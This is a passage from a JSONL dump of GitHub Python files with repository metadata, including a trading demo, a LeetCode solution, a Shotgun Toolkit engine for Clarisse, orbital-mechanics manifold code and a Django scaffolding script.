tick = row.to_dict()\r\n tick['hjcode'] = tick['code']\r\n del tick['code']\r\n tick['times'] = \"{:0>6d}\".format(int(tick['times'] / 1000))\r\n api.onTick(tick)\r\n \r\n# def main():\r\n # if len(sys.argv) < 3:\r\n # print(\"usage: python demo.py ip port\")\r\n # sys.exit(0)\r\n # ip = sys.argv[1]\r\n # port = int(sys.argv[2])\r\n # print(\"ip:\",ip,\" port:\",port)\r\n\r\n\r\nif __name__ == '__main__':\r\n policy = LRModelPolicy(20230901)\r\n recorder = Recorder()\r\n run_mode = 'remote'\r\n if len(sys.argv) >= 2:\r\n run_mode = sys.argv[1]\r\n if run_mode == 'local':\r\n run_local()\r\n else:\r\n q = Quote(\"45.40.234.224\", 9999)\r\n q.start()\r\n # main()\r\n","repo_name":"sjoke/quant_campaign","sub_path":"hklh_quote_api_py/demo/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"43970240642","text":"import numpy as np\n\nclass Solution(object):\n def maxProduct(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if len(nums) == 0:\n return 0\n \n if len(nums) == 1:\n return nums[0]\n \n numbers = np.array(nums)\n max_product = np.prod(numbers)\n \n for i in range(len(nums)-1):\n for j in range(i+1, len(nums)):\n number = np.array(nums[i:(j+1)])\n if np.prod(number) > max_product:\n max_product = np.prod(number)\n \n if max(nums) > max_product:\n return max(nums)\n \n return max_product\n","repo_name":"AndreasHiropedi/Leetcode","sub_path":"max_product_subarray.py","file_name":"max_product_subarray.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"2681468216","text":"import os\nimport sys\nimport time\nimport re\nimport inspect\nimport logging\n\nfrom functools import wraps, partial\n\nimport tank\nimport traceback\n\nfrom tank.log import LogManager\n\n\nfrom tank.platform import Engine\nfrom tank.platform.constants import SHOTGUN_ENGINE_NAME\n\nimport ix\n\n\n__author__ = \"Diego Garcia Huerta\"\n__contact__ = \"https://www.linkedin.com/in/diegogh/\"\n\n# initialize our shotgun structure for the session\nif not hasattr(ix, \"shotgun\"):\n # use a dummy class to keep references to menus\n ix.shotgun = lambda: None\n ix.shotgun.menu_callbacks = {}\n\n\ndef show_error(msg):\n print(\"Shotgun Error | Clarisse engine | %s \" % msg)\n ix.application.message_box(\n msg,\n \"Shotgun Error | Clarisse engine\",\n ix.api.AppDialog.cancel(),\n ix.api.AppDialog.STYLE_OK,\n )\n\n\ndef show_warning(msg):\n ix.application.message_box(\n msg,\n \"Shotgun Warning | Clarisse engine\",\n ix.api.AppDialog.cancel(),\n ix.api.AppDialog.STYLE_OK,\n )\n\n\ndef show_info(msg):\n ix.application.message_box(\n msg,\n \"Shotgun Info | Clarisse engine\",\n ix.api.AppDialog.cancel(),\n ix.api.AppDialog.STYLE_OK,\n )\n\n\ndef display_error(msg):\n t = time.asctime(time.localtime())\n print(\"%s - Shotgun Error | Clarisse engine | %s \" % (t, msg))\n ix.application.log_error(\n \"%s - Shotgun Error | Clarisse engine | %s \" % (t, msg)\n )\n\n\ndef display_warning(msg):\n t = time.asctime(time.localtime())\n ix.application.log_warning(\n \"%s - Shotgun Warning | Clarisse engine | %s \" % (t, msg)\n )\n\n\ndef display_info(msg):\n t = time.asctime(time.localtime())\n ix.application.log_info(\n \"%s - Shotgun Info | Clarisse engine | %s \" % (t, msg)\n )\n\n\ndef display_debug(msg):\n if os.environ.get(\"TK_DEBUG\") == \"1\":\n t = time.asctime(time.localtime())\n ix.application.log_info(\n \"%s - Shotgun Debug | Clarisse engine | %s \" % (t, msg)\n )\n\n\n# we use a trick with decorators to get some sort of event notification\n# when the scene is saved/loaded, etc... we could use a timer similar to\n# what tk-houdini uses but this other aproach is more generic\ndef wrapped(function, watcher, post_callback=None, pre_callback=None):\n @wraps(function)\n def wrapper(*args, **kwargs):\n try:\n if pre_callback is not None:\n pre_callback(watcher)\n\n result = function(*args, **kwargs)\n\n if post_callback is not None:\n post_callback(watcher)\n\n return result\n except:\n raise\n\n wrapper._original = function\n return wrapper\n\n\nSCENE_EVENT_NAMES = (\n \"new_project\",\n \"clear_project\",\n \"import_project\",\n \"load_project\",\n \"save_project\",\n \"load_startup_scene\",\n)\n\nSCENE_QUIT_EVENT_NAME = \"quit\"\n\n\nclass SceneEventWatcher(object):\n \"\"\"\n Encapsulates event handling for multiple scene events and routes them\n into a single callback.\n\n This uses monkey patching some of the functions in the clarisse application\n\n Specifying run_once=True in the constructor causes all events to be\n cleaned up after the first one has triggered\n \"\"\"\n\n def __init__(self, cb_fn, run_once=False):\n \"\"\"\n Constructor.\n\n :param cb_fn: Callback to invoke everytime a scene event happens.\n :param scene_events: List of scene events to watch for. Defaults to \n new, open and save.\n :param run_once: If True, the watcher will notify only on the first \n event. Defaults to False.\n \"\"\"\n self.__cb_fn = cb_fn\n self.__run_once = run_once\n self.__wrapped_fns = {}\n\n # register scene event callbacks:\n self.start_watching()\n\n def start_watching(self):\n \"\"\"\n Starts watching for scene events.\n \"\"\"\n # if currently watching then stop:\n self.stop_watching()\n\n # now add callbacks to watch for some scene events:\n for event_name in SCENE_EVENT_NAMES:\n try:\n event_fn = getattr(ix.application, event_name)\n event_fn = wrapped(\n event_fn,\n self,\n post_callback=SceneEventWatcher.__scene_event_callback,\n )\n self.__wrapped_fns[event_name] = event_fn\n setattr(ix.application, event_name, event_fn)\n display_debug(\"Registered callback on %s \" % event_name)\n except Exception:\n traceback.print_exc()\n # report warning...\n continue\n\n # create a callback that will be run when Clarisse\n # exits so we can do some clean-up:\n event_fn = getattr(ix.application, SCENE_QUIT_EVENT_NAME)\n event_fn = wrapped(\n event_fn,\n self,\n pre_callback=SceneEventWatcher.__clarisse_exiting_callback,\n )\n self.__wrapped_fns[SCENE_QUIT_EVENT_NAME] = event_fn\n setattr(ix.application, SCENE_QUIT_EVENT_NAME, event_fn)\n\n def stop_watching(self):\n \"\"\"\n Stops watching the Clarisse scene.\n \"\"\"\n for event_name, event_fn in self.__wrapped_fns.iteritems():\n setattr(ix.application, event_name, event_fn._original)\n self.__wrapped_fns = {}\n\n @staticmethod\n def __scene_event_callback(watcher):\n \"\"\"\n Called on a scene event:\n \"\"\"\n if watcher.__run_once:\n watcher.stop_watching()\n watcher.__cb_fn()\n\n @staticmethod\n def __clarisse_exiting_callback(watcher):\n \"\"\"\n Called on Clarisse exit - should clean up any existing calbacks\n \"\"\"\n watcher.stop_watching()\n\n\n###############################################################################\n# methods to support the state when the engine cannot start up\n# for example if a non-tank file is loaded in clarisse\n\n\ndef refresh_engine(engine_name, prev_context, menu_name):\n \"\"\"\n refresh the current engine\n \"\"\"\n current_engine = tank.platform.current_engine()\n\n if not current_engine:\n # If we don't have an engine for some reason then we don't have\n # anything to do.\n return\n\n scene_name = ix.application.get_current_project_filename()\n\n # This is a File->New call, so we just leave the engine in the current\n # context and move on.\n if scene_name == \"\":\n if prev_context != tank.platform.current_engine().context:\n current_engine.change_context(ctx)\n return\n\n # determine the tk instance and ctx to use:\n tk = current_engine.sgtk\n\n # loading a scene file\n new_path = os.path.abspath(scene_name)\n\n # this file could be in another project altogether, so create a new\n # API instance.\n try:\n tk = tank.tank_from_path(new_path)\n # and construct the new context for this path:\n ctx = tk.context_from_path(new_path, prev_context)\n except tank.TankError:\n try:\n ctx = current_engine.sgtk.context_from_entity_dictionary(\n current_engine.context.project\n )\n except tank.TankError:\n (exc_type, exc_value, exc_traceback) = sys.exc_info()\n message = \"\"\n message += \"Shotgun Clarisse Engine cannot be started:.\\n\"\n message += \"Please contact you technical support team for more \"\n message += \"information.\\n\\n\"\n message += \"Exception: %s - %s\\n\" % (exc_type, exc_value)\n message += \"Traceback (most recent call last):\\n\"\n message += \"\\n\".join(traceback.format_tb(exc_traceback))\n\n # build disabled menu\n create_sgtk_disabled_menu(menu_name)\n\n display_error(message)\n return\n\n # now remove the shotgun disabled menu if it exists.\n remove_sgtk_disabled_menu(menu_name)\n\n # shotgun menu may have been removed, so add it back in if its not already\n # there.\n current_engine.create_shotgun_menu()\n\n if ctx != tank.platform.current_engine().context:\n current_engine.change_context(ctx)\n\n\ndef on_scene_event_callback(engine_name, prev_context, menu_name):\n \"\"\"\n Callback that's run whenever a scene is saved or opened.\n \"\"\"\n try:\n refresh_engine(engine_name, prev_context, menu_name)\n except Exception:\n (exc_type, exc_value, exc_traceback) = sys.exc_info()\n message = \"\"\n message += (\n \"Message: Shotgun encountered a problem changing the \"\n \"Engine's context.\\n\"\n )\n message += \"Please contact you technical support team for more \"\n message += \"information.\\n\\n\"\n message += \"Exception: %s - %s\\n\" % (exc_type, exc_value)\n message += \"Traceback (most recent call last):\\n\"\n message += \"\\n\".join(traceback.format_tb(exc_traceback))\n show_error(message)\n\n\ndef sgtk_disabled_message():\n \"\"\"\n Explain why tank is disabled.\n \"\"\"\n msg = (\n \"Shotgun integration is disabled because it cannot recognize \"\n \"the currently opened file. Try opening another file or restarting \"\n \"Clarisse.\"\n )\n\n show_warning(msg)\n\n\ndef clear_sgtk_menu(menu_name):\n if not ix.is_gui_application():\n # don't create menu in not interactive mode\n return\n\n sg_menu = get_sgtk_root_menu(menu_name)\n sg_menu.remove_all_commands()\n ix.shotgun.menu_callbacks = {}\n\n\ndef get_sgtk_root_menu(menu_name):\n menu = ix.application.get_main_menu()\n\n sg_menu = menu.get_item(menu_name + \">\")\n if not sg_menu:\n sg_menu = menu.add_command(menu_name + \">\")\n return sg_menu\n\n\ndef create_sgtk_disabled_menu(menu_name):\n \"\"\"\n Render a special \"shotgun is disabled\" menu\n \"\"\"\n if not ix.is_gui_application():\n # don't create menu in not interactive mode\n return\n\n sg_menu = get_sgtk_root_menu(menu_name)\n menu_item = menu_name + \">Sgtk is disabled.\"\n ix.shotgun.menu_callbacks[menu_item] = sgtk_disabled_message\n menu.add_command_as_script(\n menu_name + \">Sgtk is disabled.\",\n \"ix.shotgun.menu_callbacks[%s]\" % menu_item,\n )\n\n\ndef remove_sgtk_disabled_menu(menu_name):\n \"\"\"\n Clear the shotgun menu\n \"\"\"\n clear_sgtk_menu(menu_name)\n\n\n###############################################################################\n# The Tank Clarisse engine\n\n\nclass ClarisseEngine(Engine):\n \"\"\"\n Toolkit engine for Clarisse.\n \"\"\"\n\n def __get_platform_resource_path(self, filename):\n \"\"\"\n Returns the full path to the given platform resource file or folder.\n Resources reside in the core/platform/qt folder.\n :return: full path\n \"\"\"\n tank_platform_folder = os.path.abspath(inspect.getfile(tank.platform))\n return os.path.join(tank_platform_folder, \"qt\", filename)\n\n def __toggle_debug_logging(self):\n \"\"\"\n Toggles global debug logging on and off in the log manager.\n This will affect all logging across all of toolkit.\n \"\"\"\n # flip debug logging\n LogManager().global_debug = not LogManager().global_debug\n\n def __open_log_folder(self):\n \"\"\"\n Opens the file system folder where log files are being stored.\n \"\"\"\n self.log_info(\"Log folder location: '%s'\" % LogManager().log_folder)\n\n if self.has_ui:\n # only import QT if we have a UI\n from sgtk.platform.qt import QtGui, QtCore\n\n url = QtCore.QUrl.fromLocalFile(LogManager().log_folder)\n status = QtGui.QDesktopServices.openUrl(url)\n if not status:\n self._engine.log_error(\"Failed to open folder!\")\n\n def __register_open_log_folder_command(self):\n \"\"\"\n # add a 'open log folder' command to the engine's context menu\n # note: we make an exception for the shotgun engine which is a\n # special case.\n \"\"\"\n if self.name != SHOTGUN_ENGINE_NAME:\n self.register_command(\n \"Open Log Folder\",\n self.__open_log_folder,\n {\n \"short_name\": \"open_log_folder\",\n \"icon\": self.__get_platform_resource_path(\"folder_256.png\"),\n \"description\": (\n \"Opens the folder where log files are being stored.\"\n ),\n \"type\": \"context_menu\",\n },\n )\n\n def __register_reload_command(self):\n \"\"\"\n Registers a \"Reload and Restart\" command with the engine if any\n running apps are registered via a dev descriptor.\n \"\"\"\n from tank.platform import restart\n\n self.register_command(\n \"Reload and Restart\",\n restart,\n {\n \"short_name\": \"restart\",\n \"icon\": self.__get_platform_resource_path(\"reload_256.png\"),\n \"type\": \"context_menu\",\n },\n )\n\n @property\n def context_change_allowed(self):\n \"\"\"\n Whether the engine allows a context change without the need for a\n restart.\n \"\"\"\n return True\n\n @property\n def host_info(self):\n \"\"\"\n :returns: A dictionary with information about the application hosting\n this engine.\n\n The returned dictionary is of the following form on success:\n\n {\n \"name\": \"Clarisse\",\n \"version\": \"2017 Update 4\",\n }\n\n The returned dictionary is of following form on an error preventing\n the version identification.\n\n {\n \"name\": \"Clarisse\",\n \"version: \"unknown\"\n }\n \"\"\"\n\n host_info = {\"name\": \"Clarisse\", \"version\": \"unknown\"}\n try:\n clarisse_ver = ix.application.get_version_name()\n host_info[\"version\"] = clarisse_ver\n except:\n # Fallback to 'Clarisse' initialized above\n pass\n return host_info\n\n ###########################################################################\n # init and destroy\n\n def pre_app_init(self):\n \"\"\"\n Runs after the engine is set up but before any apps have been\n initialized.\n \"\"\"\n # unicode characters returned by the shotgun api need to be converted\n # to display correctly in all of the app windows\n from tank.platform.qt import QtCore\n\n # tell QT to interpret C strings as utf-8\n utf8 = QtCore.QTextCodec.codecForName(\"utf-8\")\n QtCore.QTextCodec.setCodecForCStrings(utf8)\n self.logger.debug(\"set utf-8 codec for widget text\")\n\n def init_engine(self):\n \"\"\"\n Initializes the Clarisse engine.\n \"\"\"\n self.logger.debug(\"%s: Initializing...\", self)\n\n # check that we are running an ok version of clarisse\n current_os = sys.platform.lower()\n if current_os not in [\"darwin\", \"win32\", \"linux64\"]:\n raise tank.TankError(\n \"The current platform is not supported! Supported platforms \"\n \"are Mac, Linux 64 and Windows 64.\"\n )\n\n clarisse_build_version = ix.application.get_version()\n clarisse_ver = float(\".\".join(clarisse_build_version.split(\".\")[:2]))\n\n if clarisse_ver < 3.6:\n msg = \"Shotgun integration is not compatible with Clarisse \"\n msg += \"versions older than 3.6\"\n raise tank.TankError(msg)\n\n if clarisse_ver > 4.0:\n # show a warning that this version of Clarisse isn't yet fully\n # tested with Shotgun:\n msg = (\n \"The Shotgun Pipeline Toolkit has not yet been fully tested \"\n \"with Clarisse %s.\\n\"\n \"You can continue to use Toolkit but you may experience bugs \"\n \"or instability.\"\n \"\\n\\nUse at your own risk.\" % (clarisse_ver)\n )\n\n # determine if we should show the compatibility warning dialog:\n show_warning_dlg = (\n self.has_ui\n and \"SGTK_COMPATIBILITY_DIALOG_SHOWN\" not in os.environ\n )\n if show_warning_dlg:\n # make sure we only show it once per session:\n os.environ[\"SGTK_COMPATIBILITY_DIALOG_SHOWN\"] = \"1\"\n\n # split off the major version number - accomodate complex\n # version strings and decimals:\n major_version_number_str = clarisse_build_version.split(\".\")[0]\n if (\n major_version_number_str\n and major_version_number_str.isdigit()\n ):\n # check against the compatibility_dialog_min_version:\n if int(major_version_number_str) < self.get_setting(\n \"compatibility_dialog_min_version\"\n ):\n show_warning_dlg = False\n\n if show_warning_dlg:\n # Note, title is padded to try to ensure dialog isn't insanely\n # narrow!\n show_info(msg)\n\n # always log the warning to the script editor:\n self.logger.warning(msg)\n\n # In the case of Clarisse on Windows, we have the possility of\n # locking up if we allow the PySide shim to import\n # QtWebEngineWidgets. We can stop that happening here by setting\n # the environment variable.\n\n if current_os.startswith(\"win\"):\n self.logger.debug(\n \"Clarisse on Windows can deadlock if QtWebEngineWidgets \"\n \"is imported. \"\n \"Setting SHOTGUN_SKIP_QTWEBENGINEWIDGETS_IMPORT=1...\"\n )\n os.environ[\"SHOTGUN_SKIP_QTWEBENGINEWIDGETS_IMPORT\"] = \"1\"\n\n # add qt paths and dlls\n self._init_pyside()\n\n # default menu name is Shotgun but this can be overriden\n # in the configuration to be Sgtk in case of conflicts\n self._menu_name = \"Shotgun\"\n if self.get_setting(\"use_sgtk_as_menu_name\", False):\n self._menu_name = \"Sgtk\"\n\n if self.get_setting(\"automatic_context_switch\", True):\n # need to watch some scene events in case the engine needs\n # rebuilding:\n\n cb_fn = partial(\n on_scene_event_callback,\n engine_name=self.instance_name,\n prev_context=self.context,\n menu_name=self._menu_name,\n )\n\n self.__watcher = SceneEventWatcher(cb_fn, run_once=False)\n self.logger.debug(\"Registered open and save callbacks.\")\n\n def create_shotgun_menu(self):\n \"\"\"\n Creates the main shotgun menu in clarisse.\n Note that this only creates the menu, not the child actions\n :return: bool\n \"\"\"\n\n # only create the shotgun menu if not in batch mode and menu doesn't\n # already exist\n if self.has_ui:\n\n self._menu_handle = get_sgtk_root_menu(self._menu_name)\n\n # create our menu handler\n tk_clarisse = self.import_module(\"tk_clarisse\")\n self._menu_generator = tk_clarisse.MenuGenerator(\n self, self._menu_handle\n )\n self._menu_generator.create_menu()\n return True\n\n return False\n\n def _initialise_qapplication(self):\n \"\"\"\n Ensure the QApplication is initialized\n \"\"\"\n from sgtk.platform.qt import QtGui\n\n qt_app = QtGui.QApplication.instance()\n if qt_app is None:\n\n self.log_debug(\"Initialising main QApplication...\")\n qt_app = QtGui.QApplication([])\n qt_app.setWindowIcon(QtGui.QIcon(self.icon_256))\n qt_app.setQuitOnLastWindowClosed(False)\n\n # set up the dark style\n self._initialize_dark_look_and_feel()\n\n import pyqt_clarisse\n pyqt_clarisse.exec_(qt_app)\n\n def post_app_init(self):\n \"\"\"\n Called when all apps have initialized\n \"\"\"\n self._initialise_qapplication()\n\n # for some readon this engine command get's lost so we add it back\n self.__register_reload_command()\n self.create_shotgun_menu()\n\n # Run a series of app instance commands at startup.\n self._run_app_instance_commands()\n\n def post_context_change(self, old_context, new_context):\n \"\"\"\n Runs after a context change. The Clarisse event watching will be\n stopped and new callbacks registered containing the new context\n information.\n\n :param old_context: The context being changed away from.\n :param new_context: The new context being changed to.\n \"\"\"\n\n # restore the open log folder, it get's removed whenever the first time\n # a context is changed\n self.__register_open_log_folder_command()\n self.__register_reload_command()\n\n if self.get_setting(\"automatic_context_switch\", True):\n # We need to stop watching, and then replace with a new watcher\n # that has a callback registered with the new context baked in.\n # This will ensure that the context_from_path call that occurs\n # after a File->Open receives an up-to-date \"previous\" context.\n self.__watcher.stop_watching()\n\n cb_fn = partial(\n on_scene_event_callback,\n engine_name=self.instance_name,\n prev_context=self.context,\n menu_name=self._menu_name,\n )\n\n self.__watcher = SceneEventWatcher(cb_fn, run_once=False)\n self.logger.debug(\n \"Registered new open and save callbacks before\"\n \" changing context.\"\n )\n\n # finally create the menu with the new context if needed\n if old_context != new_context:\n self.create_shotgun_menu()\n\n def _run_app_instance_commands(self):\n \"\"\"\n Runs the series of app instance commands listed in the 'run_at_startup' \n setting of the environment configuration yaml file.\n \"\"\"\n\n # Build a dictionary mapping app instance names to dictionaries of\n # commands they registered with the engine.\n app_instance_commands = {}\n for (command_name, value) in self.commands.iteritems():\n app_instance = value[\"properties\"].get(\"app\")\n if app_instance:\n # Add entry 'command name: command function' to the command\n # dictionary of this app instance.\n command_dict = app_instance_commands.setdefault(\n app_instance.instance_name, {}\n )\n command_dict[command_name] = value[\"callback\"]\n\n # Run the series of app instance commands listed in the\n # 'run_at_startup' setting.\n for app_setting_dict in self.get_setting(\"run_at_startup\", []):\n\n app_instance_name = app_setting_dict[\"app_instance\"]\n # Menu name of the command to run or '' to run all commands of the\n # given app instance.\n setting_command_name = app_setting_dict[\"name\"]\n\n # Retrieve the command dictionary of the given app instance.\n command_dict = app_instance_commands.get(app_instance_name)\n\n if command_dict is None:\n self.logger.warning(\n (\n \"%s configuration setting 'run_at_startup'\"\n \" requests app '%s' that is not installed.\"\n ),\n self.name,\n app_instance_name,\n )\n else:\n if not setting_command_name:\n # Run all commands of the given app instance.\n # Run these commands once Clarisse will have completed its\n # UI update and be idle in order to run them after the ones\n # that restore the persisted Shotgun app panels.\n for (\n command_name,\n command_function,\n ) in command_dict.iteritems():\n self.logger.debug(\n \"%s startup running app '%s' command '%s'.\",\n self.name,\n app_instance_name,\n command_name,\n )\n clarisse.utils.executeDeferred(command_function)\n else:\n # Run the command whose name is listed in the\n # 'run_at_startup' setting.\n # Run this command once Clarisse will have completed its\n # UI update and be idle in order to run it after the ones\n # that restore the persisted Shotgun app panels.\n command_function = command_dict.get(setting_command_name)\n if command_function:\n self.logger.debug(\n \"%s startup running app '%s' command '%s'.\",\n self.name,\n app_instance_name,\n setting_command_name,\n )\n clarisse.utils.executeDeferred(command_function)\n else:\n known_commands = \", \".join(\n \"'%s'\" % name for name in command_dict\n )\n self.logger.warning(\n (\n \"%s configuration setting 'run_at_startup' \"\n \"requests app '%s' unknown command '%s'. \"\n \"Known commands: %s\"\n ),\n self.name,\n app_instance_name,\n setting_command_name,\n known_commands,\n )\n\n def destroy_engine(self):\n \"\"\"\n Stops watching scene events and tears down menu.\n \"\"\"\n self.logger.debug(\"%s: Destroying...\", self)\n\n if self.get_setting(\"automatic_context_switch\", True):\n # stop watching scene events\n self.__watcher.stop_watching()\n\n def _init_pyside(self):\n \"\"\"\n Handles the pyside init\n \"\"\"\n\n # first see if pyside2 is present\n try:\n from PySide2 import QtGui\n except:\n # fine, we don't expect PySide2 to be present just yet\n self.logger.debug(\"PySide2 not detected - trying for PySide now...\")\n else:\n # looks like pyside2 is already working! No need to do anything\n self.logger.debug(\n \"PySide2 detected - the existing version will be used.\"\n )\n return\n\n # then see if pyside is present\n try:\n from PySide import QtGui\n except:\n # must be that a PySide version is not installed,\n self.logger.debug(\n \"PySide not detected - it will be added to the setup now...\"\n )\n else:\n # looks like pyside is already working! No need to do anything\n self.logger.debug(\n \"PySide detected - the existing version will be used.\"\n )\n return\n\n current_os = sys.platform.lower()\n if current_os == \"darwin\":\n desktop_path = os.environ.get(\"SHOTGUN_DESKTOP_INSTALL_PATH\",\n \"/Applications/Shotgun.app\")\n sys.path.append(os.path.join(desktop_path, \"Contents\", \"Resources\",\n \"Python\", \"lib\", \"python2.7\",\n \"site-packages\")) \n\n elif current_os == \"win32\":\n desktop_path = os.environ.get(\"SHOTGUN_DESKTOP_INSTALL_PATH\",\n \"C:/Program Files/Shotgun\")\n sys.path.append(os.path.join(desktop_path,\n \"Python\", \"Lib\", \"site-packages\"))\n\n elif current_os == \"linux2\":\n desktop_path = os.environ.get(\"SHOTGUN_DESKTOP_INSTALL_PATH\",\n \"/opt/Shotgun/Shotgun\")\n sys.path.append(os.path.join(desktop_path,\n \"Python\", \"Lib\", \"site-packages\"))\n\n\n else:\n self.logger.error(\"Unknown platform - cannot initialize PySide!\")\n\n # now try to import it\n try:\n from PySide import QtGui\n except Exception as exception:\n traceback.print_exc()\n self.logger.error(\n \"PySide could not be imported! Apps using pyside will not \"\n \"operate correctly! Error reported: %s\",\n exception,\n )\n\n def _get_dialog_parent(self):\n \"\"\"\n Clarisse is not Qt Based so we do not have anything to return here.\n \"\"\"\n return None\n\n @property\n def has_ui(self):\n \"\"\"\n Detect and return if clarisse is running in batch mode\n \"\"\"\n if not ix.is_gui_application():\n # batch mode or prompt mode\n return False\n else:\n return True\n\n ###########################################################################\n # logging\n\n def _emit_log_message(self, handler, record):\n \"\"\"\n Called by the engine to log messages in Clarisse script editor.\n All log messages from the toolkit logging namespace will be passed to\n this method.\n\n :param handler: Log handler that this message was dispatched from.\n Its default format is \"[levelname basename] message\".\n :type handler: :class:`~python.logging.LogHandler`\n :param record: Standard python logging record.\n :type record: :class:`~python.logging.LogRecord`\n \"\"\"\n # Give a standard format to the message:\n # Shotgun : \n # where \"basename\" is the leaf part of the logging record name,\n # for example \"tk-multi-shotgunpanel\" or \"qt_importer\".\n if record.levelno < logging.INFO:\n formatter = logging.Formatter(\n \"Debug: Shotgun %(basename)s: %(message)s\"\n )\n else:\n formatter = logging.Formatter(\"Shotgun %(basename)s: %(message)s\")\n\n msg = formatter.format(record)\n\n # Select Clarisse display function to use according to the logging\n # record level.\n if record.levelno >= logging.ERROR:\n fct = display_error\n elif record.levelno >= logging.WARNING:\n fct = display_warning\n elif record.levelno >= logging.INFO:\n fct = display_info\n else:\n fct = display_debug\n\n # Display the message in Clarisse script editor in a thread safe manner\n self.async_execute_in_main_thread(fct, msg)\n\n ###########################################################################\n # scene and project management\n\n def close_windows(self):\n \"\"\"\n Closes the various windows (dialogs, panels, etc.) opened by the engine\n \"\"\"\n\n # Make a copy of the list of Tank dialogs that have been created by the\n # engine and are still opened since the original list will be updated\n # when each dialog is closed.\n opened_dialog_list = self.created_qt_dialogs[:]\n\n # Loop through the list of opened Tank dialogs.\n for dialog in opened_dialog_list:\n dialog_window_title = dialog.windowTitle()\n try:\n # Close the dialog and let its close callback remove it from\n # the original dialog list.\n self.logger.debug(\"Closing dialog %s.\", dialog_window_title)\n dialog.close()\n except Exception as exception:\n traceback.print_exc()\n self.logger.error(\n \"Cannot close dialog %s: %s\", dialog_window_title, exception\n )\n","repo_name":"diegogarciahuerta/tk-clarisse","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":32249,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"38"} +{"seq_id":"29067718568","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Oct 4 09:39:29 2023\r\n\r\n@author: sam\r\n\"\"\"\r\n\r\ndef get_manifold_ICs_2D(mu, orbitIC, P, stepoff, num_manifolds, \r\n positive_dir=True, stable=True, tau_alpha=None,\r\n return_eigvecs=False, return_STMs=False, return_fixedpoints=False):\r\n \r\n if tau_alpha==None:\r\n # need set of discreetized points around orbit\r\n tpoints = np.linspace(t0, P, num_manifolds, endpoint=False)\r\n \r\n else:\r\n tpoints = np.array([t0, tau_alpha, P])\r\n \r\n # initialize the STM with identity matrix reshaped to an array\r\n phi0 = np.identity(4)\r\n phi0 = phi0.reshape(1, 16)\r\n \r\n # add STM to state\r\n orbitIC = np.concatenate([orbitIC, phi0[0]])\r\n \r\n # integrate initial conditions for one full period\r\n sol = solve_ivp(lambda t, y: EOM_STM_2D(t, y, mu), (t0, P), orbitIC, \r\n dense_output=True, rtol=tol, atol=tol)\r\n \r\n # extract final values from integration results\r\n phi = np.array([sol.y[i][-1] for i in range(len(sol.y))])\r\n \r\n # monodromy matrix\r\n monod = phi[4::].reshape((4, 4))\r\n \r\n # get eigenvalues nad vectors of monodromy matrix\r\n vals, vecs = np.linalg.eig(monod)\r\n \r\n # create a list of the eigenvalue indicies in ascending order\r\n idxs = list(range(0, 4))\r\n idxs.sort(key = lambda x:np.abs(vals[x]))\r\n \r\n # stable eigenvalue with be the one with the smallest magnitude\r\n stble_vec = np.real(vecs[:, idxs[ 0]])\r\n unstb_vec = np.real(vecs[:, idxs[-1]])\r\n \r\n # integrate initial conditions for one full period\r\n sol = solve_ivp(lambda t, y: EOM_STM_2D(t, y, mu), (t0, P), orbitIC, \r\n dense_output=True, t_eval=tpoints, rtol=tol, atol=tol)\r\n \r\n # make a list of states and STMs at each point\r\n states, STMs = [], []\r\n for j in range(num_manifolds):\r\n # extract final values from integration results\r\n phi = np.array([sol.y[i][j] for i in range(len(sol.y))])\r\n states.append(phi[0:4])\r\n STMs.append(phi[4::].reshape((4, 4)))\r\n \r\n # list of initial conditions for step off onto manifold\r\n manifoldIC = []\r\n # list of stable and unstable eigenvectors\r\n stvecs, unvecs = [], []\r\n \r\n for i, STM in enumerate(STMs):\r\n \r\n # make a copy of the state at the current point in the orbit\r\n state = np.copy(states[i])\r\n \r\n # floquet theory to transition the eigenvectors\r\n st_vec = STM@stble_vec\r\n un_vec = STM@unstb_vec\r\n stvecs.append(st_vec)\r\n unvecs.append(un_vec)\r\n \r\n # perturbation from orbit onto stable/unstable eigenvector\r\n if stable:\r\n pert = stepoff*(st_vec/np.linalg.norm(st_vec[0:2]))\r\n else:\r\n pert = stepoff*(un_vec/np.linalg.norm(un_vec[0:2]))\r\n \r\n # positive direction\r\n if positive_dir:\r\n if pert[0] > 0:\r\n state[0:4] = state[0:4] + pert\r\n else:\r\n state[0:4] = state[0:4] - pert\r\n # negative direction\r\n else:\r\n if pert[0] < 0:\r\n state[0:4] = state[0:4] + pert\r\n else:\r\n state[0:4] = state[0:4] - pert\r\n \r\n manifoldIC.append(state)\r\n \r\n returns = [manifoldIC, tpoints]\r\n \r\n # add in optional returns\r\n if return_eigvecs==True:\r\n returns.append(stvecs)\r\n returns.append(unvecs)\r\n if return_STMs==True:\r\n returns.append(STMs)\r\n if return_fixedpoints==True:\r\n returns.append(states)\r\n \r\n return returns","repo_name":"samantharamsey/Research","sub_path":"CR3BP/archive.py","file_name":"archive.py","file_ext":"py","file_size_in_byte":3617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"38023734714","text":"import os\nimport sys\nimport subprocess\nimport time\nimport yaml\nimport pprint\n\ndef create_app(app_name):\n # Ejecutar el comando 'startapp' para crear la nueva app\n subprocess.run(['python', 'manage.py', 'startapp', app_name])\n\ndef generate_model_code(class_name, attributes):\n code = f'class {class_name}(models.Model):\\n'\n for attr, attr_type in attributes.items():\n code += f' {attr} = models.{attr_type}\\n'\n return code\n\n\ndef inject_app_serializers_imports(views_file):\n with open(views_file, 'w') as file:\n file.write(f\"from rest_framework import serializers\\n\")\n\n\ndef inject_serializer_class_name(serializers_file, class_name):\n print(\"inject_serializer_class_name\", class_name)\n with open(serializers_file, 'a') as file:\n file.write(f\"from .models import {class_name}\\n\")\n file.write(f\"\\n\\nclass {class_name}Serializer(serializers.ModelSerializer):\\n\")\n file.write(\" class Meta:\\n\")\n file.write(f\" model = {class_name}\\n\")\n file.write(\" fields = '__all__'\\n\")\n\ndef inject_view_class_name_imports(views_file, class_name):\n with open(views_file, 'a') as file:\n file.write(f\"from .models import {class_name}\\n\")\n file.write(f\"from .serializers import {class_name}Serializer\\n\")\n\ndef 